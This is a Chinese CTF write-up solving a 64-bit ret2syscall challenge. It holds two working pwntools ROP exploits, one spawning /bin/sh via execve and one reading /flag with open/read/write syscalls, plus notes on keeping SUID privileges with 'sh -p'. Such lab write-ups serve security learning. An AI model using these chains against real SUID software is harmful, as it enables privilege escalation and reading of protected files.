其实没啥特别的,就是一个ret2syscall,但是之前也没做过64位的,所以也补充记录一下:
首先,把需要的库文件放到当前目录,并补充LD_LIBRARY_PATH
❯ ./lyl
./lyl: error while loading shared libraries: libcapstone.so.5: cannot open shared object file: No such file or directory
❯ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.
❯ checksec --file=./lyl
[*]
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序很简单,有一个read没有限制输入长度,可以栈溢出,而且还会输出buf的地址。

看到RSI和RBP相距0x90,确定溢出长度。
❯ ROPgadget --binary ./lyl --only "syscall"
Gadgets information
============================================================
0x0000000000401e46 : syscall
Unique gadgets found: 1
有syscall,进行ret2syscall即可,poc如下:
from pwn import *
# context.log_level = 'debug'
p = process("./lyl")
# 0x0000000d000401e46 : syscall
# 0x0000000000401e36 : pop rsi ; ret
# 0x0000000000401e3e : pop rdi ; ret
# 0x0000000000401e26 : pop rdx ; ret
# 0x0000000000401e2e : pop rax ; ret
syscall = 0x401E46
pop_rsi = 0x401E36
pop_rdi = 0x401E3E
pop_rdx = 0x401E26
pop_rax = 0x401E2E
p.recvuntil("located at: ")
buf_addr = int(p.recvline()[:-2], 16)
success("buf_addr = " + hex(buf_addr))
# gdb.attach(p , 'b read')
payload = (
b"/bin/sh\x00"
+ b"a" * 136
+ b"deadbeef"
+ p64(pop_rdi)
+ p64(buf_addr) # execve第一个参数是文件名,这里传入buf_addr
+ p64(pop_rsi)
+ p64(0) # execve第二个参数是argv,这里传入空指针
+ p64(pop_rdx)
+ p64(0) # execve第三个参数是envp,这里传入空指针
+ p64(pop_rax)
+ p64(0x3b) # execve的系统调用号
+ p64(syscall)
)
p.sendline(payload)
p.interactive()
但是,得到shell后,我是想得到flag,但是我的shell只是一个普通权限,flag读取需要root权限。
❯ ls -al ./lyl
-rwsrw-r-- 1 kody kody 21803 11月 11 14:33 ./lyl
注意到该文件有suid属性,但是,大多数现代操作系统和 shell 在处理 SUID 脚本或程序时采取了一些安全措施,通过execve函数执行/bin/sh,得到的shell会放弃额外的权限,仅以实际用户的身份运行。
那么,我们换种思路,不执行sh,直接使用系统调用实现我们的需求:
(open 打开文件,read读取文件到buf,write写文件到标准输出)
from pwn import *
# context.log_level = 'debug'
p = process("./lyl")
binary = ELF("./lyl")
# 0x0000000d000401e46 : syscall
# 0x0000000000401e36 : pop rsi ; ret
# 0x0000000000401e3e : pop rdi ; ret
# 0x0000000000401e26 : pop rdx ; ret
# 0x0000000000401e2e : pop rax ; ret
syscall = 0x401E46
pop_rsi = 0x401E36
pop_rdi = 0x401E3E
pop_rdx = 0x401E26
pop_rax = 0x401E2E
p.recvuntil(b"located at: ")
buf_addr = int(p.recvline()[:-2], 16)
success("buf_addr = " + hex(buf_addr))
# gdb.attach(p , 'b read')
# 构造系统调用open
payload = (
b"/flag\x00"
+ b"a" * 138
+ b"deadbeef"
+ p64(pop_rdi)
+ p64(buf_addr)
+ p64(pop_rsi)
+ p64(0)
+ p64(pop_rax)
+ p64(2)
+ p64(syscall)
)
# 构造系统调用read
payload += (
p64(pop_rdi)
+ p64(3) # 因为open打开文件,会返回文件句柄,从3开始
+ p64(pop_rsi)
+ p64(buf_addr)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(pop_rax)
+ p64(0)
+ p64(syscall)
)
# 构造系统调用write
payload += (
p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(buf_addr)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(pop_rax)
+ p64(1)
+ p64(syscall)
)
p.sendline(payload)
p.interactive()
其实,以如下的方法执行execve,得到的sh是有可能拥有root权限的。
char *argv[] = {"sh", "-p", NULL};
execve("/bin/sh", argv, NULL);
解释一下原因,GPT说的很好,就不复述了
来解释一下SUID权限。当一个可执行文件被赋予SUID权限后,无论谁运行这个程序,程序都将以文件所有者的权限运行。在你的例子中,如果
a.out程序拥有SUID权限并且它的所有者是root,那么理论上,无论谁执行这个程序,它都应该以root身份运行。然而,这个程序中有一些关键的细节需要考虑:
- 源代码: 程序创建了一个指向
/bin/sh的新进程。execve函数用来执行一个新的程序,替换当前进程的映像、数据和堆栈等。-p参数: 在调用/bin/sh时使用的-p参数很重要。在很多shell程序中,-p参数意味着shell会忽略某些环境变量,例如$PATH,这通常是为了安全性。但更重要的是,在某些系统上,当使用-p参数启动shell时,如果shell是以SUID程序的一部分启动的,它可能会保持其SUID权限。- 操作系统的具体行为: 不同的操作系统和shell版本对SUID程序的处理可能有所不同。一些系统可能会在SUID程序中剥离权限,尤其是在涉及shell的情况下,以防止安全漏洞。
总的来说,如果操作系统和shell允许,在这种情况下执行的shell可能会保持root权限。但这也极大地依赖于特定的操作系统、shell版本和系统配置。在实际情况中,出于安全考虑,许多现代系统都采用了额外的措施来限制SUID程序的权限,尤其是在它们尝试启动shell时。
试了一下,在ubuntu14中得到的是root权限的shell,而Ubuntu22中只有普通用户权限。